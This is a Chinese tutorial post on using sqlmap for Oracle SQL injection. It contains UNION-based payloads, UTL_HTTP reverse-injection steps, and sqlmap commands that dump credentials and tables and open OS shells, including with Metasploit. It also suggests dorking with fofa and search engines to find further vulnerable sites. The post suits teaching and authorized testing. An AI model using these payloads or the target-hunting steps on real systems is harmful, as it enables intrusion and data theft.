码迷,mamicode.com
首页 > 数据库 > 详细

sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御

时间:2020-07-13 18:38:00      阅读:126      评论:0      收藏:0      [点我收藏+]

标签:网站   datafile   from   shel   text   div   系统   ges   load   

5.4 使用sqlmap进行Oracle数据库注入与防御

5.4.1 Oracle数据库注入基础

1.SQL注入点判断

and 1=1 和 and 1=2

2. 判断数据库为Oracle

(1) 出错信息显示Oracle

(2) 通过注释符号来判断

(3) 多行查询判断,Oracle不支持多行查询

3. 获取基本信息

(1) 获取字段数,可以使用order by N根据返回的页面判断

(2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual

(3) 获取数据库连接的用户名

and 1=2 union select 1,2 ( select SYS_CONTEXT(‘USERENV‘, ‘CURRENT_USER‘) from dual), 4,5,6 from dual

(4) 获取日志的绝对路径

4. 猜测数据库,表和列名

(1) 爆出数据库明

(2) 爆表名

(3) 爆字段名

5. Oracle注入过程的特性

(1) 字段类型必须确定

(2) UTL_HTTP存储过程反弹注入

* 判断UTL_HTTP存储过程是否可用

* 本地执行nc监听端口

* 注入点执行

(3) 系统特性

(4) 创建远程连接账号

(5) 命令执行

6. Oracle数据库导出

(1) 登录服务器

ssh 22.2.33.3

内网中的弱口令oracle/oracle

(2) 在ssh中执行

7. Oracle数据库导入

(1) 执行sqlpuls

sqlpuls /nolog

(2) 以DBA进行连接

conn /as sysdba;

(3) 创建需要导入的表空间

create tablespace spms

datafile=‘d:\xx\xx\spms.dbf‘

size 50m

autoextend on;

(4) 创建用户

create user dbms identified by bmfxheihei;

(5) 授予权限

(6) 导入数据库

imp dbms/bmfxheihei@dbms full=y file=d:\dbmx.tmp ignore=y

https://www.cnblogs.com/peterpan0707007/p/8242119.html

5.4.2 使用sqlmap进行Oracle数据库注入命令

1. 需要安装Oracle支持模块cx_Oracle

(1) 源码下载

git clone https://github.com/oracle/python-cx_oracle

(2) 使用pip命令安装

python -m pip install cx_Oracle --upgrade

(3) Windows下安装

2. 数据库命令直连

sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID

(1) sqlmap.py -u url -f --current-user --current-db --hostname --batch

(2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch

(3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch

(4) sqlmap.py -u url -D dbname --table

(5) sqlmap.py -u url -D dbname --count

(6) sqlmap.py -u url -D dbname -T manage --columns

(7) 导出manager表数据及所有数据

sqlmap.py -u url -D dbname -T manager --dump

sqlmap.py -u url -D dbname --dump-all

(8) SQL shell ,查询及文件

sqlmap.py -u url --sql-query="sql语句"

sqlmap.py -u url --sql-shell

sqlmap.py -u url --sql-file="具体文件"

(9) os命令及提权

sqlmap.py -u url --os-cmd id

sqlmap.py -u url --os-shell

(10) MSF协助渗透

sqlmap.py -u url --os-pwn --msf-paht /software/metasploit

(11) 向导模式开展测试

sqlmap.py -u url --wizard

(12) Oracle命令行提权

5.4.3 使用AWVS进行漏洞扫描

1. 使用AWVS扫描URL

5.4.4 SQL盲注漏洞利用

1. 使用sqlmap检测request数据是否存在SQL注入

sqlmap.py -r /root/bmfx.txt

2. 使用sqlmap检测出SQL注入点所在的数据库类型

3. 获取具体的漏洞类型及payload

4. 注意事项

(1) 有的注入点可能是扫描工具扫描出来的结果,显示存在SQL注入,但是实际测试发现并非存在,无法利用的现象,像这类是误报

(2) 使用sqlmap进行测试时,尽量做全部的测试,有的注入点可能存在多种类型的SQL注入,测试结束之后,可以选择一个速度最快的方式进行快速注入

(3) sqlmap中可以使用--batch自动提交参数

(4) 可以使用-o参数进行优化

(5) 发现SQL注入点无法通过sqlmap进行后续工作的时候,可以尝试使用其他注入工具对注入点进行测试

5. 延伸漏洞挖掘

(1) 使用fofa网站进行关键字检索扩展漏洞目标,例如:custLoginAction.do

(2) 使用百度等搜索引擎进行Google黑客扩展目标,例如:inurl:custLoginAction.do

参考:

http://www.secist.com/archives/448.html

https://www.jianshu.com/p/30c216960bdd

https://blog.csdn.net/csacs/article/details/90145501

https://blog.csdn.net/st415/article/details/78118382

实战测试环境,参考如下:

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

 

 

技术图片
 

sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御

标签:网站   datafile   from   shel   text   div   系统   ges   load   

原文地址:https://www.cnblogs.com/autopwn/p/13294496.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!